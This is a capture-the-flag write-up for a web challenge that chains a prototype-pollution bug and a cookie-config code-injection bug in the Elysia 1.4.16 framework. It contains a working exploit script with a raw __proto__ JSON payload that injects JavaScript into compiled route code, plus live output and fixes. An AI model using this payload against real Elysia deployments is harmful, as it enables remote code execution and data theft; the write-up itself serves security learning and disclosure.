SKIP TO MAIN CONTENT

[ WRITEUP NODE / FIELD REPORTS ]

SOLVED CHALLENGES & FIELD ANALYSIS

SECURITY RESEARCH KNOWLEDGE TECHNIQUES
B3S/WRITEUPS/GASLIGHTCTF-2026-JSON-WAREHOUSE-WRITEUP
← BACK TO ARCHIVE
EVENT: gaslightCTF 2026CATEGORY: WebPOINTS: 500 PTS

GasLightCTF 2026 - Json-Warehouse Writeup

AUTHORED BY:@bealthguy8/15/2026

json-warehouse

Category: Web Author: sportshead Platform: BergCTF / gaslightCTF infra Deployed as: single compiled Bun binary on a distroless container Flag: gaslightCTF{p0llut3d_w4r3h0us3s_ar3nt_v3ry_s4f3_c0nd1ti0ns_c2f270115d5e}

Challenge description: "Don't worry, I told Claude to make no mistakes!"

The login page is literally branded "constructed by claude".


Table of contents

  1. TL;DR
  2. Challenge overview & attack surface
  3. Full handout source analysis
  4. Recon and the dead ends
  5. The vulnerability: Elysia 1.4.16 PP → codegen ACE
  6. Exploit construction (iterations that mattered)
  7. Final exploit run
  8. Local verification (replica)
  9. Fixes and mitigations
  10. References

TL;DR

The service is a JSON key/value "warehouse" built on Bun + Elysia 1.4.16. That exact Elysia version has two chained 1-day vulnerabilities (both fixed in 1.4.17):

CVE GHSA Type
CVE-2025-66456 GHSA-hxj9-33pp-j2cc Prototype pollution in mergeDeep during schema-validation merging
CVE-2025-66457 GHSA-8vch-m3f4-q8jf Arbitrary code execution via cookie config injection into compiled route code

The challenge author literally maintains a private PoC repo for these (elysia-poc), and the challenge's storage routes match the vulnerable pattern exactly (a standalone body: z.any() guard combined with a route-level body schema).

Attack chain, in three HTTP requests:

  1. POST /auth/register — compile the register route, obtain a valid signed user cookie.
  2. PUT /storage/foo with a raw-JSON __proto__ payload — prototype-pollutes Object.prototype.domain during body-schema merging.
  3. GET /storage/flag — a cold (never-compiled) route. It now compiles with our poisoned domain string-interpolated into its generated cookie-parsing code, executing c.set.headers['X-Flag']=process.env.FLAG on every request to that route.

Response header: X-Flag: gaslightCTF{...}.

$ node exploit-live.mjs
register status: 200 set-cookie: user=1001.R9ySOIgneyT1XEk9QrFWOwcUxYJTVzlQGKk0xT8azD4; Path=/
PUT /storage/foo: 404 item not found
GET /storage/flag: 404 X-Flag: gaslightCTF{p0llut3d_w4r3h0us3s_ar3nt_v3ry_s4f3_c0nd1ti0ns_c2f270115d5e}

Challenge overview & attack surface

Deployment environment

  • Runtime: Bun 1.3.14 (single compiled binary on distroless, non-root).
  • Framework: Elysia ^1.4.16 + @elysiajs/html, zod ^4.1.13.
  • Templates: @kitajs/html@4.2.13 under experimental mode:
    "jsx": "react",
    "jsxFactory": "Html.createElement"
    This is the string-based HTML renderer, not the VDOM one (that choice matters for the XSS dead-end below).
  • NODE_ENV=production, so the admin password is randomUUID() and error messages are masked.

The "flag"

src/data.ts seeds the server with one admin user (id 1000) and a warehouse item named flag whose value is process.env.FLAG:

setItem(
  createUser(
    class="hljs-string">"admin",
    process.env.NODE_ENV === class="hljs-string">"development" ? class="hljs-string">"hunter2" : randomUUID(),
  ),
  class="hljs-string">"flag",
  process.env.FLAG || class="hljs-string">"gaslightCTF{flag}",
);

So we either need the admin password (impossible — random), forge their session cookie (impossible — random secret), or read process.env.FLAG from inside the process. RCE is the intended path, and the vulnerability is a 1-day in the pinned framework version.

Routes

All user data lives in warehouse: Map<number, Map<string, any>>, scoped by numeric user id.

Method Path Purpose
GET / homepage (redirects to login if no session)
GET/POST /auth/login login
GET/POST /auth/register register (id starts at 1000, admin is 1000)
POST /auth/logout logout
GET /storage/new, /storage/new-button create-item form (htmx OOB swap)
GET /storage list items
POST /storage create item
GET /storage/:key view item
GET /storage/:key/view, /storage/:key/edit htmx fragments
PUT /storage/:key edit item — the pollution sink
DELETE /storage/:key delete item

Full handout source analysis

src/index.tsx

import { Elysia, redirect } from class="hljs-string">"elysia";
import * as z from class="hljs-string">"zod";
import { Html } from class="hljs-string">"@elysiajs/html";
import { auth } from class="hljs-string">"./routes/auth";
import { storage } from class="hljs-string">"./routes/storage";
import { userPlugin } from class="hljs-string">"./plugins/user";

const app = new Elysia({
  cookie: {
    secrets: process.env.COOKIE_SECRET || randomUUID(),
    sign: [class="hljs-string">"user"],
  },
})
  .use(userPlugin)
  .use(Html())
  .get(class="hljs-string">"/", ({ user }) => (user ? <Home user={user} /> : redirect(class="hljs-string">"/auth/login")))
  .use(auth)
  .use(storage)
  .listen(process.env.PORT || 1337);

Two things stand out immediately:

  • The cookie secret is not pinned to a known value in production (process.env.COOKIE_SECRET || randomUUID()). No hardcoded secret to leak.
  • The only "bodies" ever parsed by the app are JSON strings wrapped in { value: string } — the storage value itself is JSON that the user supplies, deserialized with JSON.parse and stored as a live JavaScript object (any).

src/plugins/user.ts

export const userPlugin = new Elysia({ name: class="hljs-string">"user" })
	.guard({
		cookie: z.object({
			user: z.string().optional(),
		}),
	})
	.resolve(({ cookie }) => ({
		user:
			cookie.user.value !== undefined ? getUser(+cookie.user.value) : undefined,
	}))
	.as(class="hljs-string">"scoped");

Every route (auth + storage + /) carries a cookie schema. This is crucial: it means every route qualifies as a hasCookie route, so every route will emit the vulnerable parseCookie(..., { ... domain ... }) code when compiled.

src/data.ts

const warehouse = new Map<number, Map<string, any>>();

export function getUserByUsername(username: string) {
	for (const [id, user] of users) {
		if (user.username === username) return id;
	}
}

export function getItem(id: number, key: string) {
	return getItems(id)?.get(key);
}

Notable: getUserByUsername returns undefined on no-match (fine), getUser(+id) coerces via + (fine), and ids start at 1000 — the admin is 1000, our registrations start at 1001. Warehouse items are stored by reference — an item's value object is the very same object returned to the client when rendering (relevant for the XSS angle and for exfiltration).

src/routes/storage.tsx — the sink

const parseJson = (raw: string) => {
	try {
		return { value: JSON.parse(raw) as unknown };
	} catch {
		return { error: class="hljs-string">"invalid json" };
	}
};

const storage = new Elysia({ prefix: class="hljs-string">"/storage" })
	.use(userPlugin)
	.get(class="hljs-string">"/new", () => <CreateItemForm />)
	.get(class="hljs-string">"/new-button", () => <CreateItemButton />)
	.get(class="hljs-string">"/", ({ user }) => {
		if (!user) return redirect(class="hljs-string">"/auth/login");
		return <StoragePage user={user} items={getItems(user.id) ?? new Map()} />;
	})
	.post(class="hljs-string">"/", ({ user, body: { key, value }, set }) => { /* create item */ }, {
		body: z.object({ key: z.string().min(1), value: z.string() }),
	})
	.guard({
		schema: class="hljs-string">"standalone",
		params: z.object({ key: z.string().min(1) }),
		body: z.any(),
	})
	.get(class="hljs-string">"/:key", ({ user, params: { key }, set }) => {
		if (!user) return redirect(class="hljs-string">"/auth/login");
		const value = getItem(user.id, key);
		if (value === undefined) { set.status = 404; return class="hljs-string">"item not found"; }
		return <ItemPage user={user} itemKey={key} value={value} />;
	})
	.get(class="hljs-string">"/:key/view", ...)
	.get(class="hljs-string">"/:key/edit", ...)
	.put(class="hljs-string">"/:key", ({ user, params: { key }, body: { value }, set }) => {
		if (!user) return redirect(class="hljs-string">"/auth/login");
		const existing = getItem(user.id, key);
		if (existing === undefined) { set.status = 404; return class="hljs-string">"item not found"; }
		const parsed = parseJson(value);
		if (class="hljs-string">"error" in parsed) return <ItemEditForm ... error={parsed.error} />;
		setItem(user.id, key, parsed.value);
		return <ItemView itemKey={key} value={parsed.value} />;
	}, {
		body: z.object({ value: z.string() }),
	})
	.delete(class="hljs-string">"/:key", ...);

The red flag is the .guard({ schema: "standalone", ..., body: z.any() }) wrapping all of the /storage/:key routes. The schema: "standalone" option makes this guard's schemas bypass the "declaration merging" behaviour and get merged directly into each guarded route at compile time — which is exactly the code path where the prototype pollution lives (see below). Combined with per-route schemas like body: z.object({ value: z.string() }), this is the exact shape the advisory's vulnerable example uses.

Note also the PUT handler: the "edit" route reads existing === undefined → 404 before parsing the body — so our pollution request can legitimately 404 while still executing validation-time merging. The 404 is irrelevant; the pollution happens during body-schema validation, before the handler ever runs.

src/ui/Storage.tsx — the (intentional?) XSS smell

The item value is rendered in <pre> without escaping:

<pre id="item-json">
  {JSON.stringify(value, null, 2)}
</pre>

@kitajs/html is a string renderer: JSX children are concatenated as strings and are not HTML-escaped by default (escaping only happens via the safe attribute or an explicit escapeHtml() call). So any stored value containing </pre><script>… would be rendered raw. This is a real stored-XSS primitive… but there is no admin bot (see dead-ends), so it cannot be weaponized against the admin. It is however a strong hint about the author's mindset: "Claude wrote it, and Claude doesn't escape."


Recon and the dead ends

A lot of time was spent ruling things out. Documenting them here so the next solver doesn't repeat it.

1. Session cookie: HMAC-SHA256, not forgeable

elysia/dist/utils.mjs:

export const signCookie = (value, secret) =>
	(hmac.sign(secret, value), value + class="hljs-string">"." +
		removeTrailingEquals(Buffer.from(hmacBuffer).toString(class="hljs-string">"base64")));

export const unsignCookie = (value, secret) => {
	const [cookie, signature] = value.split(class="hljs-string">".");
	...
	return hash === signature ? cookie : false;
};
  • Cookie format: user=<id>.<base64url-stripped HMAC-SHA256 signature>.
  • The signature is standard base64 (with + and /, URL-encoded when set), NOT URL-safe base64url, and trailing = are stripped before appending.
  • Verification splits at the last . and re-computes the HMAC — timing-safe because it compares full 32-byte digests, not character-by-character.
  • The secret is randomUUID() (32 hex chars, 128 bits of entropy) in production.

Attempts:

  • Guess secrets (hunter2, "", admin, password, gaslightCTF{flag}): all fail, all 400 (tampered cookie) — no oracle, no reflection of the value.
  • Try login as admin with common passwords → no Set-Cookie in response.
  • Timing side-channel on unsignCookie (does the length of the prefix affect time? does a per-char === leak?): measured ~2–4 ns per comparison both for 1-char mismatch and full 36-char string with node's JIT; remote latencies (222–290 ms) were swamped by network jitter (wrong-username logins were just as slow). Dead end.
  • Elysia's cookie rotation path (secrets array → try each until one verifies) does not apply: only one secret exists.

2. No admin bot / no report endpoint

Probed the live instance for 404 on: /report, /flag, /admin, /bot, /visit, /csp, /robots.txt, /.env, /health, /api, /debug, /source. All 404. Cloned gaslightctf/infra, gaslightctf/frontend (Angular), gaslightctf/resources from GitHub — no bot, no report queue. The platform does not provide a "submit link to admin" mechanism. Stored-XSS via unescaped <pre> is a dead end without a bot.

3. Version archaeology — the author gave it away

  • Handout pins elysia@^1.4.16 and the compiled binary runs Elysia 1.4.16.
  • 1.4.17 was released days later with two security fixes:
    • GHSA-hxj9-33pp-j2cc (CVE-2025-66456): prototype pollution.
    • GHSA-8vch-m3f4-q8jf (CVE-2025-66457): cookie-config → arbitrary code execution.
  • The challenge author, sportshead, is a gaslightCTF infra contributor and maintains a private GitHub repo elysia-poc with exactly these PoCs (proto-pollution.ts, cookie-injection.ts, rce.ts). The repo is private (clone → "could not read Username"), but its README surfaced in search snippets:
    • Trigger condition: "the target route must not have been compiled yet".
    • The two __proto__ keys needed: cookie and domain.
    • Mitigation referenced: precompile: true — which the challenge does not set.

Everything lines up: the challenge is a pure 1-day on Elysia 1.4.16.


The vulnerability: Elysia 1.4.16 PP → codegen ACE

Stage 1 — Prototype pollution (GHSA-hxj9-33pp-j2cc)

elysia/dist/utils.mjs:

const mergeDeep = (target, source, options) => {
	const skipKeys = options?.skipKeys, override = options?.override ?? !0,
	      mergeArray = options?.mergeArray ?? !1;
	if (!isObject(target) || !isObject(source)) return target;
	for (const [key, value] of Object.entries(source))
		if (!skipKeys?.includes(key)) {
			...
			if (!isObject(value) || !(key in target) || isClass(value)) {
				if ((override || !(key in target)) && !Object.isFrozen(target))
					try { target[key] = value; } catch {}
				continue;
			}
			...
		}
	return target;
};

The bug: mergeDeep copies own keys via Object.entries(source) and assigns them with plain assignment target[key] = value. If source has an own property literally named "__proto__", then target["__proto__"] = value invokes the __proto__ setter, which sets the prototype of target. When target is the schema object that gets merged into the route's compiled validators, the global Object.prototype is poisoned for the lifetime of the process.

Two preconditions for reaching mergeDeep with attacker data:

  1. The route must be declared with a standalone schema that is unvalidated (z.any()) so the raw attacker object flows into the merge.
  2. A route-level schema must also be present so Elysia performs the mergeDeep between the standalone guard's schema and the route's schema when building the validator.

storage.tsx satisfies both: .guard({ schema: "standalone", body: z.any() }) + .put("/:key", handler, { body: z.object({ value: z.string() }) }).

Critical subtlety about JSON: a JS object literal { __proto__: {...} } sets the prototype, it does not create an own __proto__ key. So the payload must be sent as a raw JSON string so that JSON.parse produces an object with an own property "__proto__":

{"value":"pollute-me","__proto__":{"domain":"&#039; + CODE + &#039;"}}

Only then does Object.entries(...) see "__proto__" as an own enumerable key and does target["__proto__"] = value pollute Object.prototype.domain.

Stage 2 — Cookie config injection → ACE (GHSA-8vch-m3f4-q8jf)

elysia/dist/compose.mjs (route compilation, line ~246 and ~283):

cookieMeta = validator.cookie?.config
	? mergeCookie(validator?.cookie?.config, app.config.cookie)
	: app.config.cookie;
if (fnLiteral += class="hljs-string">"try{", hasCookie) {
	const get = (name, defaultValue) => {
		const value = cookieMeta?.[name] ?? defaultValue;
		return value
			? typeof value == class="hljs-string">"string"
				? class="hljs-string">`${name}:class="hljs-string">&#039;${value}&#039;,`          // <-- string-interpolated into source!
			...
	}, options = cookieMeta ? class="hljs-string">`{secrets:...,sign:...,` + get(class="hljs-string">"domain") + get(class="hljs-string">"expires")
		+ get(class="hljs-string">"httpOnly") + get(class="hljs-string">"maxAge") + get(class="hljs-string">"path", class="hljs-string">"/") + get(class="hljs-string">"priority")
		+ get(class="hljs-string">"sameSite") + get(class="hljs-string">"secure") + class="hljs-string">"}" : class="hljs-string">"undefined";
	...
	fnLiteral += class="hljs-string">`c.cookie=await parseCookie(c.set,c.request.headers.get(class="hljs-string">&#039;cookie&#039;),${options})`;
}

Walk through the data flow:

  1. app.config.cookie is { secrets, sign: ["user"] }. Because of the pollution, Object.prototype.domain is now "' + CODE + '".
  2. cookieMeta is resolved via mergeCookie(Object.assign({}, routeConfig), app.config.cookie). mergeDeep starts from Object.assign({}, config) (a fresh object whose prototype is Object.prototype) and copies { secrets, sign } onto it. It never sets a domain own key, so reading cookieMeta?.["domain"] walks the prototype chain and finds our polluted Object.prototype.domain.
  3. get("domain") stringifies that value into the generated source:
    domain:'<value>',
    With a polluted value "' + CODE + '", the generated code becomes:
    c.cookie = await parseCookie(c.set, c.request.headers.get(class="hljs-string">&#039;cookie&#039;), {
      secrets: class="hljs-string">&#039;...&#039;,
      sign: [class="hljs-string">&#039;user&#039;,],
      domain: class="hljs-string">&#039;&#039; + CODE + class="hljs-string">&#039;&#039;,   // ← attacker-controlled JS evaluated per request
      expires: undefined,
      httpOnly: undefined,
      maxAge: undefined,
      path: class="hljs-string">&#039;/&#039;,
      priority: undefined,
      sameSite: undefined,
      secure: undefined,
    })
  4. This string is handed to new Function(...) / eval-like compilation when the route is first requested (Elysia compiles lazily, so the current Object.prototype.domain — our poison — is captured at compile time).

That is arbitrary code execution in the scope of the generated handler handle(c), with the request context c in scope. Note: the injected expression runs on every request to that route, inside the try{ block, before cookie validation.

Why a cold route is required

Route compilation is memoized per route. If the trigger route were requested before the pollution request, it would already be compiled with a clean domain: undefined and our poison would never be read. Hence the ordering constraint:

  1. POST /auth/register — compiles the register route (clean) and gives us a session.
  2. PUT /storage/foo — compiles the PUT route before the body is validated, so the PUT route is also clean; but the validation-time mergeDeep runs after compilation and pollutes Object.prototype.
  3. GET /storage/flag — first-ever request to that route → compiles now with poisoned config → our code executes during the request.

(Also note the "cookie" key from the original PoC: it forces hasCookie true on routes that don't have an explicit cookie schema, by making !!validator.cookie true via the inherited Object.prototype.cookie = {}. In this challenge every route already has a real cookie schema from userPlugin, so we only need the domain key. Setting cookie: {} too is harmful here — it replaces the real cookie validator with {} and produces a validator.cookie.Check is not a function 500, as we observed.)


Exploit construction (iterations that mattered)

Iteration 0 — verify the pollution in isolation

Send to PUT /storage/foo (standalone z.any() body) as a raw JSON string:

{"value":"pollute-me","__proto__":{"domain":"&#039; + CODE + &#039;"}}

Confirmed afterwards in the same process: ({}).domain returns the injected string and ({}).cookie (when sent) returns {}. JSON.stringify of a JS object literal {__proto__:...} drops the key entirely — the raw-string requirement is real.

Iteration 1 — naive CODE, syntax error

First attempt: CODE = "c.set.headers['X-Flag']=process.env.FLAG,'polluted'".

The generated parseCookie call became:

domain:class="hljs-string">&#039;&#039; + c.set.headers[class="hljs-string">&#039;X-Flag&#039;]=process.env.FLAG,class="hljs-string">&#039;polluted&#039; + class="hljs-string">&#039;&#039;,

which parses as ('' + c.set.headers['X-Flag']) = (process.env.FLAG, 'polluted' + '') — an assignment to an expression → SyntaxError. Elysia logs [Composer] failed to generate optimized handler and falls back to its non-optimized handler (which does not carry the injection). No code runs.

Lesson: the injected expression must be a valid standalone expression in the '' + <expr> + '' context — wrap it in parentheses.

Iteration 2 — working codegen, wrong exfil (self-inflicted)

CODE = "(globalThis.__leak=process.env.FLAG,'polluted')" compiled and ran, but globalThis.__leak was undefined after the request — because my local replica had no FLAG environment variable. The RCE was working; the exfil was the problem.

Iteration 3 — header exfil, works

const CODE = class="hljs-string">"(c.set.headers[class="hljs-string">&#039;X-Flag&#039;]=process.env.FLAG,class="hljs-string">&#039;polluted&#039;)";
const domainVal = class="hljs-string">"class="hljs-string">&#039; + " + CODE + class="hljs-string">" + &#039;";
const rawBody = JSON.stringify({ value: class="hljs-string">"pollute-me" }).slice(0, -1)
  + class="hljs-string">&#039;,class="hljs-string">"__proto__":{class="hljs-string">"domain":&#039; + JSON.stringify(domainVal) + class="hljs-string">"}}";

c is in scope inside handle(c), so c.set.headers['X-Flag'] = process.env.FLAG runs at request time and the header survives into the response (the route responds 404 item not found — headers still ship). Local replica returned X-Flag: gaslightCTF{LOCAL_TEST_FLAG}. Confirmed end-to-end.

Other exfil ideas considered (all viable, header is simplest):

  • throw new Error(process.env.FLAG) → error body (masked in production, so not used).
  • Write into the response body via c.set.status + returning a value — the generated prologue runs before the handler, and c.response isn't assigned here, so header is the cleanest observable.

Why the author's PoC shape (with cookie:{}) didn't work verbatim

On a route without a cookie schema, validator.cookie is falsy until the polluted Object.prototype.cookie = {} makes it truthy — then Elysia calls validator.cookie.Check(...) on a bare {}TypeError: validator.cookie.Check is not a function → 500. That's the author's trigger pattern, but it's for routes lacking cookie schemas. Here every route already has one, so we drop the cookie key entirely and keep only domain.


Final exploit run

// exploit-live.mjs
const BASE = class="hljs-string">"https://433a61f3-93f4-47d8-ac77-39e4388ba690.play.gaslightctf.cooking:1337";
const USER = class="hljs-string">"attacker" + Math.random().toString(36).slice(2, 8);
const PASS = class="hljs-string">"pw";

async function main() {
  // 1. register -> valid signed cookie
  let r = await fetch(BASE + class="hljs-string">"/auth/register", {
    method: class="hljs-string">"POST",
    headers: { class="hljs-string">"content-type": class="hljs-string">"application/x-www-form-urlencoded" },
    body: class="hljs-string">`username=${USER}&password=${PASS}`,
    redirect: class="hljs-string">"manual",
  });
  const setCookie = r.headers.get(class="hljs-string">"set-cookie");
  const cookie = setCookie.split(class="hljs-string">";")[0];

  // 2. prototype pollution (raw JSON!)
  const CODE = class="hljs-string">"(c.set.headers[class="hljs-string">&#039;X-Flag&#039;]=process.env.FLAG,class="hljs-string">&#039;polluted&#039;)";
  const domainVal = class="hljs-string">"class="hljs-string">&#039; + " + CODE + class="hljs-string">" + &#039;";
  const rawBody = JSON.stringify({ value: class="hljs-string">"pollute-me" }).slice(0, -1)
    + class="hljs-string">&#039;,class="hljs-string">"__proto__":{class="hljs-string">"domain":&#039; + JSON.stringify(domainVal) + class="hljs-string">"}}";
  r = await fetch(BASE + class="hljs-string">"/storage/foo", {
    method: class="hljs-string">"PUT",
    headers: { class="hljs-string">"content-type": class="hljs-string">"application/json", class="hljs-string">"cookie": cookie },
    body: rawBody,
    redirect: class="hljs-string">"manual",
  });

  // 3. cold route -> compile with poison -> RCE -> X-Flag header
  r = await fetch(BASE + class="hljs-string">"/storage/flag", {
    headers: { class="hljs-string">"cookie": cookie },
    redirect: class="hljs-string">"manual",
  });
  console.log(class="hljs-string">"X-Flag:", r.headers.get(class="hljs-string">"X-Flag"));
}

Live output:

register status: 200 set-cookie: user=1001.R9ySOIgneyT1XEk9QrFWOwcUxYJTVzlQGKk0xT8azD4; Path=/
PUT /storage/foo: 404 item not found
GET /storage/flag: 404 X-Flag: gaslightCTF{p0llut3d_w4r3h0us3s_ar3nt_v3ry_s4f3_c0nd1ti0ns_c2f270115d5e}

(The 404 on both storage routes is expected — the item doesn't exist for our user and the handler 404s after the prologue; the injected code already ran.)


Local verification (replica)

A byte-for-byte reproduction of the challenge's routes was built and run under plain Node (node 26, no Bun needed) with the real vulnerable elysia@1.4.16 + zod@4.1.13:

  • replica.mjs — mirrors userPlugin (cookie guard + resolve), auth routes (register/login), storage routes (standalone guard + :key routes) exactly.
  • Requests via app.handle(new Request(...)) (Elysia's app.handle is used by both Bun.serve and node's fetch-based runtime).

Key validation results from the replica:

  1. PP: ({"__proto__": {"domain": ...}}) as raw JSON → ({}).domain polluted.
  2. Codegen: dumping the generated instruction string shows the injected domain:'' + (...) + '' verbatim inside the parseCookie options.
  3. Broken syntax → [Composer] failed to generate optimized handler → silent fallback (no RCE). Valid parenthesized expression → runs.
  4. Header exfil → X-Flag present with process.env.FLAG.

This also let us confirm @kitajs/html's non-escaping behavior (contentsToString concatenates string children raw; escaping is opt-in via safe/escapeHtml) — interesting for the XSS angle, but unused here.


Fixes and mitigations

  1. Upgrade Elysia to >= 1.4.17 — patches both mergeDeep prototype pollution (treat __proto__/constructor/prototype as dangerous keys) and the cookie-config codegen injection.
  2. precompile: true — compiles all routes at startup, so an attacker can no longer pollute after a route compiles; the injection window (cold-route compile) disappears. (This was the author's documented mitigation for the RCE.)
  3. Avoid schema: "standalone" guards with z.any() combined with route-level schemas; validate JSON values with an explicit schema instead of z.any().
  4. Don't deploy secrets as randomUUID() at startup without a dedicated secret manager — but that wasn't the vuln here; the flag was never meant to come from data.ts.
  5. General hardening: Object.freeze(Object.prototype) is not practical for Bun, but sanitizing __proto__ keys in mergeDeep is the upstream fix.

References

  • GHSA-hxj9-33pp-j2cc / CVE-2025-66456 — Elysia prototype pollution (mergeDeep).
  • GHSA-8vch-m3f4-q8jf / CVE-2025-66457 — Elysia cookie-config code injection (ACE).
  • github.com/sportshead/elysia-poc (private) — author's PoCs: proto-pollution.ts, cookie-injection.ts, rce.ts; README documents the cold-route trigger and precompile: true mitigation.
  • Elysia dist/compose.mjscookieMeta resolution (L246), get(name, defaultValue) string interpolation (L284-287), parseCookie(..., options) emission (L283-298).
  • Elysia dist/utils.mjsmergeDeep (L10-39), mergeCookie (L40-45), signCookie/unsignCookie.
  • @kitajs/html — string-based renderer, JSX children not escaped by default.